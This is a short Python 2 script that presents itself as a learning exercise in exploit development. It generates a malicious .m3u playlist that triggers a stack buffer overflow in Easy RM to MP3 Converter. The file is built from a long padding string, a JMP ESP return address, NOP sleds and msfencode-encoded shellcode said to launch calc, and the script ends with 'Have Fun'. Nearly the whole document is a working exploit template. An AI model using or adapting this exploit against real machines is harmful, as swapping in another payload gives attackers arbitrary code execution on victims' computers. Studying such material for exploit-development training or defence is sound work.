#   Easy RM to MP3 Converter
#   Exploit.
#   For the basic knowled of exploit development.
#   Stack Buffer Overflow.
print "#############################################################"
print "@"
print "@  Exploit for Easy RM To MP3 Converter"
print "@  By j0xCarlo0s"
print "@"
print "#############################################################"

import struct

# Preparing file to exploit
evil_file = open('you_are_owned.m3u', 'w+')

# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/
# msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin
# [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)
shellcode = "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" + \
            "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" + \
            "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" + \
            "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" + \
            "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" + \
            "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" + \
            "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" + \
            "\x1c\x39\xbd"

# Payload.
print "[+] writing the payload"
payload = "\x41" * 26101
payload += struct.pack('<I', 0x7CB32D69)  # JMP ESP
payload += "\x90" * 25
payload += shellcode
payload += "\x90" * 25

# writting the file
print "[+] Generating evil file"
evil_file.write(payload)
evil_file.close()

print "[+] File Done. Have Fun :)"
